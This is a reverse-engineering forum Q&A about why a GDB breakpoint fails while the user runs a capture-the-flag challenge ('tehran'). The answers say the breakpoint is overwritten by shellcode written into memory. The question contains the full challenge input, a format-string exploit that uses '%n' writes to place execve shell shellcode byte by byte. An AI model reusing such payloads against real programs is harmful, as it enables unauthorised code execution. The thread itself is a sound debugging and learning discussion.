3

I was following the writeup of the challenge tehran. If I set a breakpoint 0x804bade, it never gets hit for the following input.

begin() {
    fillout(0x8048000, 16384, 7);
    puts("%144c%n", 42, 0x804bade);
    puts("%144c%n", 42, 0x804badf);
    puts("%144c%n", 42, 0x804bae0);
    puts("%144c%n", 42, 0x804bae1);
    puts("%144c%n", 42, 0x804bae2);
    puts("%104c%n", 42, 0x804bae3);
    puts("%1c%n", 42, 0x804bae4);
    puts("%1c%n", 42, 0x804bae5);
    puts("%1c%n", 42, 0x804bae6);
    puts("%1c%n", 42, 0x804bae7);
    puts("%129c%n", 42, 0x804bae8);
    puts("%52c%n", 42, 0x804bae9);
    puts("%36c%n", 42, 0x804baea);
    puts("%114c%n", 42, 0x804baeb);
    puts("%105c%n", 42, 0x804baec);
    puts("%1c%n", 42, 0x804baed);
    puts("%1c%n", 42, 0x804baee);
    puts("%49c%n", 42, 0x804baef);
    puts("%210c%n", 42, 0x804baf0);
    puts("%82c%n", 42, 0x804baf1);
    puts("%106c%n", 42, 0x804baf2);
    puts("%4c%n", 42, 0x804baf3);
    puts("%90c%n", 42, 0x804baf4);
    puts("%1c%n", 42, 0x804baf5);
    puts("%226c%n", 42, 0x804baf6);
    puts("%82c%n", 42, 0x804baf7);
    puts("%137c%n", 42, 0x804baf8);
    puts("%226c%n", 42, 0x804baf9);
    puts("%106c%n", 42, 0x804bafa);
    puts("%104c%n", 42, 0x804bafb);
    puts("%104c%n", 42, 0x804bafc);
    puts("%47c%n", 42, 0x804bafd);
    puts("%47c%n", 42, 0x804bafe);
    puts("%47c%n", 42, 0x804baff);
    puts("%115c%n", 42, 0x804bb00);
    puts("%104c%n", 42, 0x804bb01);
    puts("%47c%n", 42, 0x804bb02);
    puts("%98c%n", 42, 0x804bb03);
    puts("%105c%n", 42, 0x804bb04);
    puts("%110c%n", 42, 0x804bb05);
    puts("%106c%n", 42, 0x804bb06);
    puts("%11c%n", 42, 0x804bb07);
    puts("%88c%n", 42, 0x804bb08);
    puts("%137c%n", 42, 0x804bb09);
    puts("%227c%n", 42, 0x804bb0a);
    puts("%137c%n", 42, 0x804bb0b);
    puts("%209c%n", 42, 0x804bb0c);
    puts("%153c%n", 42, 0x804bb0d);
    puts("%205c%n", 42, 0x804bb0e);
    puts("%128c%n", 42, 0x804bb0f);
}

What can the reason be?

enter image description here

  • what is this error at the bottom saying that it cannot insert breakpoint at this location? if it cannot then it won't be hit – Paweł Łukasik Jan 19 '17 at 7:48
3

I found out the reason myself and it was truly enlightening! To insert a breakpoint, gcc replaces the bytes at the beginning of the breakpoint location with INT 3 instruction (0xCC byte) and records the original byte replaced in its internal table. The input was writing a shellcode at the location I was trying to set a breakpoint on. Since the shellcode was interfereing with the breakpoint, it was overwriting the 0xCC bytes, thereby failing gcc to insert a software breakpoint.

  • You can use hbreak to set a hardware breakpoint, but be aware that the overall amount you can use is limited by CPU support – Nordwald Jan 19 '17 at 9:36
  • Note also that detecting the modification of the memory (while inserting 0xcc) is a well known anti-debug technique for obfuscated software. – perror Jan 19 '17 at 9:47
  • Thanks a lot! This was exactly the reason of my breakpoints not working. I am debugging an application packed with the UPX packer. I have to wait until its fully unpacked in memory and just then can I set a breakpoint. Otherwise the 0xcc break instruction is rewritten by the unpacking routine. – Michal Fapso Feb 22 at 14:47

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.